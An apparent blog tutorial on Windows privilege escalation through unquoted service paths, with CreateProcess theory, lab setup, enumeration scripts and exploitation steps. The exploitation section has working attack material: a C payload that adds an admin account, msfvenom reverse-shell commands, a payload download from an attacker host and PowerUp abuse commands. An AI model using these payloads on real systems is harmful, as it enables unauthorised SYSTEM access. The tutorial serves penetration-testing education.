Byte JMP
Windows Privilege Escalation: Unquoted Service Paths

Windows Privilege Escalation: Unquoted Service Paths

How a missing pair of quotation marks in a service's ImagePath lets a low privilege user place a binary that Windows executes as SYSTEM. Theory behind CreateProcess path resolution, lab setup, enumeration, and exploitation.

·20 min read

TL;DR

When a Windows service has an ImagePath that contains spaces and is not enclosed in quotation marks, the Service Control Manager passes the raw string to CreateProcess, which resolves it ambiguously. Windows splits the path at each space and tries progressively longer substrings as the executable name, appending .exe to each attempt. If an attacker can write a binary to any of the intermediate paths that Windows tries before reaching the intended executable, the service launches the attacker's binary instead — running it under the service's configured account, typically NT AUTHORITY\SYSTEM. No vulnerability is exploited: the behavior is documented by Microsoft in the CreateProcess API reference. The issue is a service configuration that fails to quote a path containing spaces.

  • MITRE ATT&CK: T1574.009 — Hijack Execution Flow: Path Interception by Unquoted Path
  • Tactic: Persistence, Privilege Escalation, Defense Evasion
  • Platform: Windows

Introduction

Unquoted service paths are one of the oldest and most frequently documented Windows privilege escalation techniques, and they still appear in real engagements with surprising regularity. The root cause is simple: a Windows service is registered with a binary path that contains spaces but is not wrapped in quotation marks. Because of how the Windows CreateProcess API resolves ambiguous command lines, this creates a race between the intended executable and any binary the attacker can place earlier in the resolution order.

The technique is not a software vulnerability. The CreateProcess behavior is explicitly documented by Microsoft, and Windows is doing exactly what the API specification says it should do. The weakness is operational: whoever installed the service failed to quote the path. Third party installers are the most common source of this misconfiguration, but it also appears in enterprise software, monitoring agents, backup tools, and custom internal applications.

From an attacker's perspective, exploiting an unquoted service path requires three conditions to align: the path must be unquoted and contain spaces, the attacker must have write access to at least one of the intermediate directories Windows checks, and the service must run as a privileged account. When all three converge, the result is code execution as SYSTEM.


How CreateProcess resolves unquoted paths

The entire technique hinges on a single Windows API behavior. Understanding it is essential before moving to exploitation.

The Service Control Manager and CreateProcess

When the SCM starts a service, it reads the ImagePath value from the service's registry key at HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> and passes it as the lpCommandLine parameter to CreateProcess, with lpApplicationName set to NULL.

When lpApplicationName is NULL, CreateProcess must determine where the executable name ends and where the command line arguments begin. Microsoft's documentation for CreateProcess specifies the behavior:

If lpApplicationName is NULL [...] If the file name does not contain an extension, .exe is appended. [...] If the file name contains a space, the function uses the first space as a delimiter and tests whether a file with the first portion of the file name, plus .exe, exists. If a file with that name is found, it is started. If the file is not found, the function adds characters up to the next space and tries again.

This means the API walks through the string left to right, treating each space as a potential boundary between the executable path and its arguments.

The resolution sequence

Consider a service with the following unquoted ImagePath:

C:\Program Files\Evil Corp\Update Service\updater.exe

Because the path is not enclosed in quotes, CreateProcess cannot determine where the executable name ends. It resolves the ambiguity by trying each space boundary in order:

Attempt   Path tried                                   Remaining as arguments
───────   ──────────────────────────────────────────    ──────────────────────────────────
  1       C:\Program.exe                               Files\Evil Corp\Update Service\updater.exe
  2       C:\Program Files\Evil.exe                    Corp\Update Service\updater.exe
  3       C:\Program Files\Evil Corp\Update.exe        Service\updater.exe
  4       C:\Program Files\Evil Corp\Update Service\updater.exe    (none)

Windows stops at the first path where a valid executable exists. In a normal installation, none of the intermediate files exist, so the resolution falls through to attempt 4 and the correct binary runs. But if an attacker can place a file at any of the earlier paths, Windows executes it instead — as the service account.

Where quotation marks fix the problem

If the same path is quoted:

"C:\Program Files\Evil Corp\Update Service\updater.exe"

CreateProcess treats everything inside the quotes as the executable path. There is no ambiguity, no splitting at spaces, and no opportunity for interception. The fix is a single pair of quotation marks in the registry value.

The complete flow as a diagram

CreateProcess path resolution flow for an unquoted service path

Which attempts are realistic

Not every attempt in the resolution sequence is equally exploitable. The practical value depends on whether the attacker can write to the target directory:

AttemptPath to dropDirectory to write toTypical writability
1C:\Program.exeC:\Not writable by standard users on default Windows installs
2C:\Program Files\Evil.exeC:\Program Files\Not writable by standard users
3C:\Program Files\Evil Corp\Update.exeC:\Program Files\Evil Corp\Depends on the installer; this is where it usually works
4Full intended pathN/AN/A (this is the correct binary)

The third attempt is the most realistic attack vector. Third party installers frequently create their own subdirectory under C:\Program Files\ and grant broad permissions to that directory so the application can write logs, update itself, or store configuration alongside the executable. When this happens, any authenticated user can place a binary there and intercept the service startup.

The same logic applies to services installed outside Program Files. Custom paths such as C:\Apps\, C:\Tools\, or C:\Company\ often have even looser ACLs, making the unquoted path exploitable at earlier boundaries.


Relationship to other service attack techniques

Unquoted service paths belong to a family of service based privilege escalation techniques that share the same goal (execute attacker code as the service account) but differ in the primitive:

TechniqueWhat the attacker controlsPrerequisite
Unquoted Service PathPlaces a binary earlier in the path resolution orderWrite access to an intermediate directory; spaces in unquoted path
Service Binary HijackingOverwrites the actual service binary on diskWrite access to the binary file itself or its directory
Weak Service PermissionsReconfigures the service to point at a different binarySERVICE_CHANGE_CONFIG or WRITE_DAC on the service object
DLL HijackingSupplies a DLL the service loads from a writable locationWrite access to a directory in the DLL search order

The distinction matters for accurate reporting. An unquoted service path finding should not be labeled as "service binary hijacking" — the binary itself may have correct permissions. The weakness is in the ImagePath value lacking quotation marks, combined with a writable intermediate directory.


Lab configuration

The lab builds on the same evilcorp.local domain used in other Byte JMP articles. The vulnerable service runs on a domain joined Windows host; in a single DC lab, the DC itself serves the role.

Topology

MachineRoleOS
EVILCORP-DC01Domain ControllerWindows Server 2019/2022
AttackerAttack machineLinux (Kali)

Domain: evilcorp.local

Step 1: Create a low privilege domain user

On the DC, with an administrator session:

$Password = ConvertTo-SecureString "Password1" -AsPlainText -Force

New-ADUser `
    -Name "bob" `
    -SamAccountName "bob" `
    -UserPrincipalName "[email protected]" `
    -DisplayName "Bob (standard user)" `
    -Description "Low-privileged domain user - Unquoted Service Path lab" `
    -AccountPassword $Password `
    -Enabled $true `
    -PasswordNeverExpires $true

bob is a member of Domain Users only, with no local administrator rights.

Step 1.1: (Optional) Give bob WinRM access

If you plan to run the exploitation through Evil-WinRM or Enter-PSSession instead of RDP, bob needs to be in the Remote Management Users local group:

net localgroup "Remote Management Users" /add 2>$null
net localgroup "Remote Management Users" "EVILCORP\bob" /add

This step is only required for WinRM. If you connect as bob over RDP (interactive logon), skip it. Note that WinRM introduces additional restrictions covered in the Enumeration section: the SCM denies access to network logon sessions, so some commands need to be adapted.

Step 2: Create the directory structure with spaces in the path

New-Item -Path "C:\Program Files\Evil Corp\Update Service" -ItemType Directory -Force | Out-Null

This creates the path C:\Program Files\Evil Corp\Update Service\, which contains two opportunities for interception: the space between Evil and Corp, and the space between Update and Service.

Step 3: Place a stand in binary at the intended path

Copy-Item "C:\Windows\System32\cmd.exe" "C:\Program Files\Evil Corp\Update Service\updater.exe"

Step 4: Register the service with an unquoted ImagePath

This is the step that creates the vulnerable condition. The goal is to register a service whose ImagePath registry value contains spaces but no enclosing quotation marks.

A natural first instinct would be sc.exe create, but sc.exe itself splits its command line on spaces. If you pass the path without quotes, sc.exe cannot determine where binPath= ends and the next argument begins, and the command fails with a usage message:

:: This does NOT work — sc.exe cannot parse the unquoted spaces
sc.exe create EvilCorpUpdater binPath= C:\Program Files\Evil Corp\Update Service\updater.exe start= auto obj= LocalSystem

If you quote the path so sc.exe can parse it, the quotes themselves are stored in the registry, and the path is no longer vulnerable:

:: This works but creates a QUOTED (safe) ImagePath — not what we want
sc.exe create EvilCorpUpdater binPath= "C:\Program Files\Evil Corp\Update Service\updater.exe" start= auto obj= LocalSystem

The correct approach for the lab is New-Service. PowerShell's string quoting is separate from the value that reaches the registry. The outer quotes below are PowerShell string delimiters that are not stored:

New-Service `
    -Name "EvilCorpUpdater" `
    -BinaryPathName "C:\Program Files\Evil Corp\Update Service\updater.exe" `
    -DisplayName "EvilCorp Update Agent" `
    -Description "Vulnerable service - Unquoted Service Path lab" `
    -StartupType Automatic

New-Service writes the -BinaryPathName value directly to the ImagePath registry entry without adding quotation marks. This is exactly the condition that real third party installers create when they register services programmatically without quoting the path.

Verify the registration:

Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\EvilCorpUpdater" | Select-Object ImagePath

Expected output — note the absence of quotation marks around the path:

ImagePath
---------
C:\Program Files\Evil Corp\Update Service\updater.exe

Compare this with what a properly configured service would look like:

ImagePath
---------
"C:\Program Files\Evil Corp\Update Service\updater.exe"

Step 5: Introduce the misconfiguration (writable directory)

Grant Authenticated Users modify access to the Evil Corp directory, simulating a third party installer that sets loose permissions:

icacls "C:\Program Files\Evil Corp" /grant "Authenticated Users:(OI)(CI)(M)"

This allows bob to create files inside C:\Program Files\Evil Corp\, which means he can drop a binary named Update.exe there — the third resolution attempt in the CreateProcess sequence.

Step 6: (Lab convenience) Allow bob to restart the service

In a real engagement, a low privilege user typically cannot restart services and must wait for a reboot. For lab purposes, grant start and stop rights to Authenticated Users:

sc.exe sdshow EvilCorpUpdater

Copy the output and insert (A;;CCLCSWRPWPLOCRRC;;;AU) at the end of the D: block, before any S: block. On a DC with a typical default:

sc.exe sdset EvilCorpUpdater "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCSWRPWPLOCRRC;;;AU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Always base this on your own sdshow output. A malformed SDDL string can lock the service object.

Step 7: Disable Windows Defender for the lab

The payloads used in the exploitation section are well known signatures. Disable real time protection so the focus stays on the technique:

Set-MpPreference -DisableRealtimeMonitoring $true

Verify the complete setup

Get-CimInstance Win32_Service -Filter "Name='EvilCorpUpdater'" |
    Select-Object Name, StartName, State, StartMode, PathName

Expected output:

Name            StartName   State   StartMode PathName
----            ---------   -----   --------- --------
EvilCorpUpdater LocalSystem Stopped Auto      C:\Program Files\Evil Corp\Update Service\updater.exe

The PathName has no quotes, the service runs as LocalSystem, and start type is Auto. The lab is ready.


Enumeration

Everything from this section forward runs as bob, a standard domain user with no administrator rights.

Manual: Identify services with unquoted paths

The canonical check filters for services whose ImagePath contains spaces, is not enclosed in quotes, and sits outside C:\Windows\:

PowerShell (interactive session):

Get-CimInstance Win32_Service |
    Where-Object {
        $_.PathName -notmatch '^"' -and
        $_.PathName -match '\s' -and
        $_.PathName -notmatch 'C:\\Windows\\'
    } |
    Select-Object Name, StartName, State, StartMode, PathName

CMD (interactive session):

wmic service get name,displayname,pathname,startmode,startname | findstr /i /v "C:\\Windows\\" | findstr /i /v """

The wmic command filters out paths under C:\Windows\ and paths already enclosed in quotes. The triple double quote (""") is how cmd.exe escapes a literal quote inside findstr.

WinRM / Evil-WinRM users: Both Get-CimInstance and wmic query the SCM, which denies enumeration to network logon sessions (type 3). If these commands return "Access denied", read directly from the registry:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    $svc = Get-ItemProperty $_.PSPath
    if ($svc.ImagePath -and
        $svc.ImagePath -notmatch '^"' -and
        $svc.ImagePath -match '\s' -and
        $svc.ImagePath -notmatch 'system32|svchost') {
        [PSCustomObject]@{
            Name       = $_.PSChildName
            ImagePath  = $svc.ImagePath
            ObjectName = $svc.ObjectName
            Start      = $svc.Start
        }
    }
} | Format-Table -AutoSize

Expected output for our lab service:

Name            ImagePath                                                         ObjectName  Start
----            ---------                                                         ----------  -----
EvilCorpUpdater C:\Program Files\Evil Corp\Update Service\updater.exe             LocalSystem     2

If ObjectName appears empty, the service still runs as LocalSystem — Windows defaults to that account when no explicit value is stored. New-Service without -Credential sometimes omits the registry value entirely.

The Start value 2 means Automatic. The ImagePath contains spaces and has no quotes. This is the candidate.

Manual: Check which intermediate directories are writable

Once you identify an unquoted path, map out the resolution sequence and check write access to each intermediate directory:

icacls "C:\"
icacls "C:\Program Files\"
icacls "C:\Program Files\Evil Corp\"

The finding is in the third check:

C:\Program Files\Evil Corp\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                             BUILTIN\Administrators:(I)(OI)(CI)(F)
                             NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(M)

Authenticated Users has (M) (Modify) on C:\Program Files\Evil Corp\. This means bob can create a file named Update.exe in that directory, and the service will execute it before reaching the intended updater.exe in the Update Service subdirectory.

Confirm write access directly:

# Create and immediately remove a test file
New-Item "C:\Program Files\Evil Corp\test.txt" -ItemType File -Force | Remove-Item

If this succeeds without error, the directory is writable.

Combined: One pass enumeration

This single command finds unquoted services and checks whether any intermediate directory is writable, combining both checks into one sweep:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    $svc = Get-ItemProperty $_.PSPath
    if ($svc.ImagePath -and
        $svc.ImagePath -notmatch '^"' -and
        $svc.ImagePath -match '\s' -and
        $svc.ImagePath -notmatch 'system32|svchost' -and
        (-not $svc.ObjectName -or $svc.ObjectName -match 'LocalSystem')) {

        $raw = $svc.ImagePath -replace '^\s*"([^"]+)".*','$1'
        if ($raw -eq $svc.ImagePath) { $raw = ($svc.ImagePath -split '\.exe')[0] + '.exe' }
        $raw = $raw.Trim()
        $parts = $raw -split '\\'
        $checked = @()

        for ($i = 1; $i -lt $parts.Count - 1; $i++) {
            $dir = ($parts[0..$i] -join '\')
            if ($dir -match '\s') {
                $parent = ($parts[0..($i-1)] -join '\')
                try {
                    $acl = Get-Acl $parent -ErrorAction Stop
                    $weak = $acl.Access | Where-Object {
                        $_.FileSystemRights -match 'Write|Modify|FullControl' -and
                        $_.IdentityReference -match 'Everyone|BUILTIN\\Users|Authenticated Users'
                    }
                    if ($weak) {
                        $checked += [PSCustomObject]@{
                            Service   = $_.PSChildName
                            ImagePath = $svc.ImagePath
                            WritableDir = $parent
                            Identity  = $weak.IdentityReference
                            Rights    = $weak.FileSystemRights
                        }
                    }
                } catch {}
            }
        }
        $checked
    }
} | Format-Table -AutoSize

Expected output:

Service         ImagePath                                                     WritableDir                    Identity                          Rights
-------         ---------                                                     -----------                    --------                          ------
EvilCorpUpdater C:\Program Files\Evil Corp\Update Service\updater.exe         C:\Program Files\Evil Corp     NT AUTHORITY\Authenticated Users   Modify, Synchronize

A single row that tells you everything: the service name, the unquoted path, which directory is writable, and who can write to it.

Automated: PowerUp

PowerUp from the PowerSploit project includes a dedicated check for this technique:

Import-Module .\PowerUp.ps1

Get-UnquotedService

Expected output:

ServiceName    : EvilCorpUpdater
Path           : C:\Program Files\Evil Corp\Update Service\updater.exe
ModifiablePath : C:\Program Files\Evil Corp
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'EvilCorpUpdater' -Path 'C:\Program Files\Evil Corp\Update.exe'
CanRestart     : True

PowerUp identifies the vulnerable service, confirms the writable intermediate path, and even provides the AbuseFunction command to exploit it. Note that the file to drop is Update.exe, corresponding to the third resolution attempt where the split occurs at the space between Update and Service.

Invoke-AllChecks runs this and all other privilege escalation checks together:

Invoke-AllChecks

WinRM users: PowerUp relies on Get-WmiObject internally and will fail with "Access denied" over network logon sessions. Use the native registry enumeration shown above or run PowerUp from an interactive session.

Automated: winPEAS

winPEASx64.exe servicesinfo

winPEAS flags unquoted service paths with spaces and highlights writable directories. Look for the section labeled "Unquoted Service Paths" in the output.

Automated: Metasploit

If you already have a Meterpreter session:

use exploit/windows/local/unquoted_service_path
set SESSION 1
run

The module enumerates unquoted services, checks directory write permissions, drops a payload at the first exploitable path, and attempts to trigger the service.


Exploitation

The enumeration confirmed that bob can write to C:\Program Files\Evil Corp\ and the service will try to execute C:\Program Files\Evil Corp\Update.exe before reaching the intended binary. Now we place a payload there.

Identifying the target architecture

Before compiling or generating a payload, determine whether the target is running a 32 bit or 64 bit operating system. A binary compiled for the wrong architecture will fail to execute and the payload will not fire.

From the target (as bob):

wmic os get osarchitecture

Expected output on a 64 bit system:

OSArchitecture
64-bit

PowerShell equivalent:

[System.Environment]::Is64BitOperatingSystem

Returns True for 64 bit, False for 32 bit.

Alternative through environment variables, which also works over WinRM:

$env:PROCESSOR_ARCHITECTURE

Returns AMD64 on 64 bit systems and x86 on 32 bit systems.

On a 64 bit system, a 32 bit payload will still execute, but it runs inside the WoW64 compatibility layer. This can cause subtle issues: the 32 bit net.exe resolves to C:\Windows\SysWOW64\net.exe instead of the native C:\Windows\System32\net.exe, and registry access gets redirected to HKLM\SOFTWARE\Wow6432Node. The native 64 bit payload avoids these complications entirely.

Path A: Manual exploitation with a compiled payload

Create a simple payload on the attack machine that adds a local administrator:

#include <stdlib.h>

int main()
{
    system("net user hacker Passw0rd!123 /add");
    system("net localgroup administrators hacker /add");
    return 0;
}

Cross compile on Kali. Choose the compiler that matches the target architecture:

64 bit target:

x86_64-w64-mingw32-gcc adduser.c -o Update.exe

32 bit target:

i686-w64-mingw32-gcc adduser.c -o Update.exe

The file name must be Update.exe because that is what CreateProcess will look for at the third resolution attempt. The name comes from the path segment before the space: ...\Evil Corp\Update Service\... splits into ...\Evil Corp\Update + .exe.

Serve the binary from Kali:

python3 -m http.server 80

On the target as bob, download the payload to the writable directory:

iwr -uri http://<KALI_IP>/Update.exe -Outfile "C:\Program Files\Evil Corp\Update.exe"

Verify the file landed:

Get-Item "C:\Program Files\Evil Corp\Update.exe"

Trigger the service. If you granted start/stop rights in the lab setup:

sc.exe start EvilCorpUpdater

The service will start, CreateProcess will resolve the unquoted path, find Update.exe at the third attempt, and execute it as SYSTEM. The service itself will fail (the payload is not a real service binary and does not respond to the SCM), but the net user and net localgroup commands will have already executed by that point.

If you cannot restart the service

In a realistic scenario, a standard user cannot restart a privileged service. Since the service has Automatic start type, the payload executes on the next reboot. Confirm you have SeShutdownPrivilege:

whoami /priv

If the privilege is present:

shutdown /r /t 0

After the reboot, reconnect as bob and verify:

net localgroup administrators

Expected output:

Members
-------------------------------------------------------------------------------
Administrator
hacker

The hacker account is now a local administrator, created by code that ran as SYSTEM.

Path B: msfvenom service binary

For a cleaner service interaction (no error 1053 timeout), wrap the payload as a proper service binary using -f exe-service. The payload module and the output format must both match the target architecture.

64 bit target:

msfvenom -p windows/x64/exec CMD='net localgroup administrators hacker /add' \
    -f exe-service -o Update.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 \
    -f exe-service -o Update.exe

32 bit target:

msfvenom -p windows/exec CMD='net localgroup administrators hacker /add' \
    -f exe-service -o Update.exe
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 \
    -f exe-service -o Update.exe

Note the payload path difference: windows/x64/exec for 64 bit targets, windows/exec for 32 bit targets. The windows/x64/* payloads produce 64 bit shellcode that will not execute on a 32 bit system. Conversely, windows/* (without x64) payloads produce 32 bit shellcode that runs on both architectures through WoW64, but the native payload is always preferred.

The -f exe-service format produces a binary that registers with the SCM properly, so sc.exe start returns success and the payload runs in a service thread. For the reverse shell variant, catch it with:

nc -lvnp 4444

Transfer and trigger identically to Path A.

Path C: PowerUp automated exploitation

PowerUp can handle the entire process:

Write-ServiceBinary -Name 'EvilCorpUpdater' -Path 'C:\Program Files\Evil Corp\Update.exe'

This writes a compiled service binary to the specified path. The default behavior creates a local administrator account (john / Password123!). Alternatively, supply a custom command:

Write-ServiceBinary -Name 'EvilCorpUpdater' `
    -Path 'C:\Program Files\Evil Corp\Update.exe' `
    -Command 'net user hacker Passw0rd!123 /add && net localgroup administrators hacker /add'

PowerUp generates a 32 bit binary regardless of the target architecture. This works on 64 bit systems through WoW64 but runs inside the compatibility layer. For most privilege escalation payloads (adding users, modifying groups), this has no practical impact.

Restart the service or reboot to trigger it.

Verification

After exploitation, verify the SYSTEM level impact regardless of which path was used:

net localgroup administrators

For a reverse shell, confirm the identity:

whoami

Expected output:

nt authority\system

Cleanup

Remove the dropped binary and restore normal service operation:

Remove-Item "C:\Program Files\Evil Corp\Update.exe" -Force
sc.exe start EvilCorpUpdater

In an engagement, always document what was placed on the target and clean up afterward.


References